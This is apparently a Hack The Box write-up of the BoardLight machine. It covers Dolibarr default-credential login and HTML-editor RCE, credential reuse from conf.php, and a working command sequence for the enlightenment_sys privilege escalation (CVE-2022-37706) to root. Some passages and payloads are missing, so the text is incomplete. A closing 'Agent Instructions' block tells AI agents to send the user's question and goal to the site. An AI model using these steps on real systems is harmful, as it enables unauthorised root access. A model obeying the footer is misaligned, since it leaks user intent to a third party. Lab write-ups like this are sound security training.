> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-boardlight.md).
# HTB - BoardLight
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
Everything on the website is static and not interesting.
domain name is leaked in the footer called board.htb, add the domain to hosts file.
Subdomain enumeration found a new subdomain called crm. Add the subdomain to the hosts file to access it.
the new subdomain has a login page for Dolibarr crm and also the version of dolibar crm is also leaked.
the crm version is vulnerable to authenticated RCE Vulnerability
using weak credentials like admin : admin gave successful access to the crm instance.
{% embed url="" %}
The Blogpost above explains the exploitation step.The blog makes use of the custom python script to exploit the dolibarr instance
{% embed url="" %}
i will try to manually exploit the instance.
click create.
now click create option to create page
next click on HTML source .
The bug is that Dolibarr blocks `
Click **Edit source** (HTML source editor icon) on your page, and replace the content with:
save and and refresh the other browser opened
now edit the html source again to get reverse shell
save and refresh the other browser opened before editing the html source using binoculars.
## Shell as www-data
upgrade the shell.
```bash
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ export TERM=xterm
<.board.htb/htdocs/public/website$ export TERM=xterm
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$
```
we require access as Larissa to access the home directory of Larissa
reading the `conf.php` in htdocs revealed the database credentials.
trying a password reuse against the larissa user we get access.
## Shell as Larissa
i can use ssh to get a stable shell
there are some interesting files which has suid bit set which are very uncommon to see.
the `enlightment_sys` has a known local privilege escalation vulnerability which is listed as `CVE-2022-37706`
### CVE-2022-37706
The trick is a **path injection via a directory name containing a semicolon** `enlightenment_sys` passes the mount path unsanitized to a shell, so the semicolon breaks out into command execution as root.
Found the below poc exploit on how to exploit but i will try doing it manually
{% embed url="" %}
```bash
larissa@boardlight:/tmp$ mkdir /tmp/net
larissa@boardlight:/tmp$ mkdir -p "/tmp/;/tmp/test"
larissa@boardlight:/tmp$ echo "/bin/bash" > /tmp/test
larissa@boardlight:/tmp$ chmod +x /tmp/test
larissa@boardlight:/tmp$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/test" /tmp///net
mount: /dev/../tmp/: can't find in /etc/fstab.
root@boardlight:/tmp#
```
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-boardlight.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
